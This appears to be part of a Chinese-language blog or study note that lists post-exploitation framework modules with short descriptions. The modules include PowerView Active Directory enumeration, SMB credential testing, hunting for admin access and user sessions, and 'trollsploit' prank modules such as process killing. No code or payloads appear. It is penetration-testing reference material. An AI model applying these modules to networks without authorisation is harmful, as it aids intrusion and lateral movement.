situational_awareness/network/smbscanner 在多台机器上测试用户名/密码组合
situational_awareness/network/powerview/find_foreign_group 枚举给定域的组的所有成员,并查找不在查询域中的用户
situational_awareness/network/powerview/find_foreign_user 枚举在其主域之外的组中的用户
situational_awareness/network/powerview/find_gpo_computer_admin 获取计算机(或GPO)对象,并确定哪些用户/组对该对象具有管理访问权限
situational_awareness/network/powerview/find_gpo_location 获取用户名或组名,并确定其具有通过GPO进行管理访问的计算机
situational_awareness/network/powerview/find_localadmin_access 在当前用户具有“本地管理员”访问权限的本地域上查找计算机
situational_awareness/network/powerview/find_managed_security_group 此功能检索域中的所有安全组
situational_awareness/network/powerview/get_cached_rdpconnection 使用远程注册表功能来查询计算机上“ Windows远程桌面连接客户端”的所有信息
situational_awareness/network/powerview/get_computer 查询当前计算机对象的域
situational_awareness/network/powerview/get_dfs_share 返回给定域的所有容错分布式文件系统的列表
situational_awareness/network/powerview/get_domain_controller 返回当前域或指定域的域控制器
situational_awareness/network/powerview/get_domain_policy 返回给定域或域控制器的默认域或DC策略
situational_awareness/network/powerview/get_domain_trust 返回当前域或指定域的所有域信任
situational_awareness/network/powerview/get_fileserver 返回从用户主目录提取的所有文件服务器的列表
situational_awareness/network/powerview/get_forest 返回有关给定域森林的信息
situational_awareness/network/powerview/get_forest_domain 返回给定林的所有域
situational_awareness/network/powerview/get_gpo 获取域中所有当前GPO的列表
situational_awareness/network/powerview/get_group 获取域中所有当前组的列表
situational_awareness/network/powerview/get_group_member 返回给定组的成员
situational_awareness/network/powerview/get_localgroup 返回本地或远程计算机上指定本地组中所有当前用户的列表
situational_awareness/network/powerview/get_loggedon 执行NetWkstaUserEnum Win32API调用以查询主动登录主机的用户
situational_awareness/network/powerview/get_object_acl 返回与特定活动目录对象关联的ACL
situational_awareness/network/powerview/get_ou 获取域中所有当前OU的列表
situational_awareness/network/powerview/get_rdp_session 在给定的RDP远程服务中查询活动会话和原始IP
situational_awareness/network/powerview/get_session 执行NetSessionEnum Win32API调用以查询主机上的活动会话
situational_awareness/network/powerview/get_site 获取域中所有当前站点的列表
situational_awareness/network/powerview/get_subnet 获取域中所有当前子网的列表
situational_awareness/network/powerview/get_user 查询给定用户或指定域中用户的信息
situational_awareness/network/powerview/map_domain_trust 使用.CSV输出映射所有可访问的域信任
situational_awareness/network/powerview/process_hunter 查询远程机器的进程列表
situational_awareness/network/powerview/set_ad_object 使用SID,名称或SamAccountName来查询指定的域对象
situational_awareness/network/powerview/share_finder 在域中的计算机上查找共享
situational_awareness/network/powerview/user_hunter 查找指定组的用户登录的机器

trollsploit恶作剧

d0egXj.png

模块名 功能
trollsploit/get_schwifty 播放Schwifty视频,同时把计算机音量设置最大
trollsploit/message 发送一个消息框
trollsploit/process_killer 终止以特定名称开头的任何进程
trollsploit/rick_ascii 生成一个新的powershell.exe进程运行Lee Holmes’ ASCII Rick Roll
trollsploit/rick_astley 运行SadProcessor’s beeping rickroll
trollsploit/thunderstruck 播放Thunderstruck视频,同时把计算机音量设置最大
trollsploit/voicetroll 通过目标上的合成语音朗读文本
trollsploit/wallpaper 将.jpg图片上传到目标机器并将其设置为桌面壁纸
trollsploit/wlmdr 在任务栏中显示气球提示

nishang

这个暂停,等开学后在更新